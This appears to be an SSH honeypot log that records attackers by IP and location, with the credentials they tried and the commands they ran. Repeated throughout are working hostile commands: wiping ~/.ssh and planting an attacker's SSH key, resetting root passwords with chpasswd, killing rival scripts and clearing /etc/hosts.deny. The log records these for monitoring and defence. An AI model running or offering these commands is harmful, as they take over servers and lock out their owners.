$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 capoeira_sol (186.232.110.92) — São José do Rio Preto, Brazil · 3 sessions · 57 cmds

2026-07-07 02:19 EDT · as root/8128, root/gh123456, root/root,123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:w49QLPE5WXHl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:VnbMzwbS5WN4"|chpasswd|bash

$ echo "root:3mZEZsMZWgqg"|chpasswd|bash

🎭 ghost_root_29 (43.242.203.160) — Kwai Chung, Hong Kong · 1 session · 19 cmds

2026-07-10 01:16 EDT · as root/8128

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Ddl9DI53TET5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_30 (95.70.166.232) — Izmir, Türkiye · 1 session · 19 cmds

2026-07-10 01:03 EDT · as root/qwe123QWE123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:YDQaxvCW6qgu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_4 (103.187.146.90) — Jakarta, Indonesia · 2 sessions · 39 cmds

2026-07-02 13:53 EDT · as root/Ctyun@2021, theatre/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:L7Lz6Cw55zqE"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nCr07l1u5Tut8\nCr07l1u5Tut8"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nCr07l1u5Tut8\nCr07l1u5Tut8\n"|passwd

🎭 silk_root_6 (118.196.41.80) — Haidian, China · 1 session · 4 cmds

2026-07-09 23:28 EDT · as root/river123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 shadow_root_6 (186.101.122.203) — Guayaquil, Ecuador · 2 sessions · 38 cmds

2026-07-09 21:38 EDT · as root/123456A!, root/1qazxsw2!QAZXSW@

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:z3A9AIJRHmjn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:V4uSDOWxTo0F"|chpasswd|bash

🎭 clog_root_6 (94.154.43.30) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-07-09 22:49 EDT · as root/admin, root/password, root/root

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ; echo 'vT' ×3

🎭 specter_root_4 (103.146.159.173) — Sheung Wan, Hong Kong · 1 session · 20 cmds

2026-07-09 22:13 EDT · as ubuntu/dev

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "dev\nXRqr8YBd4FwD\nXRqr8YBd4FwD"|passwd|bash

$ Enter new UNIX password:

$ echo "dev\nXRqr8YBd4FwD\nXRqr8YBd4FwD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_3 (162.243.138.30) — San Francisco, United States · 1 session · 19 cmds

2026-07-09 22:08 EDT · as root/Ctyun@2021

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:dCpBTWLZF6Le"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 autobahn_root_5 (178.104.154.55) — Nuremberg, Germany · 1 session · 19 cmds

2026-07-09 22:07 EDT · as root/Qaz123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:0n7hKecqVqPK"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ramen_root_2 (118.194.228.101) — Tokyo, Japan · 1 session · 20 cmds

2026-07-09 21:38 EDT · as ubuntu/dev

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "dev\n9rQR229Y22uR\n9rQR229Y22uR"|passwd|bash

$ Enter new UNIX password:

$ echo "dev\n9rQR229Y22uR\n9rQR229Y22uR\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_7 (152.32.220.144) — Singapore, Singapore · 1 session · 19 cmds

2026-07-09 21:16 EDT · as root/123456A!

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:KRPYrreElHPs"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 baguette_root (82.66.224.173) — Maisons-Laffitte, France · 1 session · 20 cmds

2026-07-09 20:09 EDT · as ts/1

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1\n0zxFA5uMpnwd\n0zxFA5uMpnwd"|passwd|bash

$ Enter new UNIX password:

$ echo "1\n0zxFA5uMpnwd\n0zxFA5uMpnwd\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bonsai_root_2 (36.50.84.67) — Tokyo, Japan · 1 session · 20 cmds

2026-07-09 19:57 EDT · as ubuntu/admin@123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "admin@123\nEy5XduBc13UK\nEy5XduBc13UK"|passwd|bash

$ Enter new UNIX password:

$ echo "admin@123\nEy5XduBc13UK\nEy5XduBc13UK\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 kiwi_root (103.208.219.38) — Surry Hills, Australia · 3 sessions · 59 cmds

2026-07-09 17:08 EDT · as erpnext/1234, root/qwertyqwerty, super/123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "123\na5R7nfWXwf99\na5R7nfWXwf99"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "123\na5R7nfWXwf99\na5R7nfWXwf99\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "1234\nnaZkUC3Rlost\nnaZkUC3Rlost"|passwd|bash

$ echo "1234\nnaZkUC3Rlost\nnaZkUC3Rlost\n"|passwd

$ echo "root:NYNhcIZmUFiC"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 eagle_root (50.6.228.111) — Ashburn, United States · 3 sessions · 59 cmds

2026-07-09 17:03 EDT · as erpnext/1234, root/qwertyqwerty, super/123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

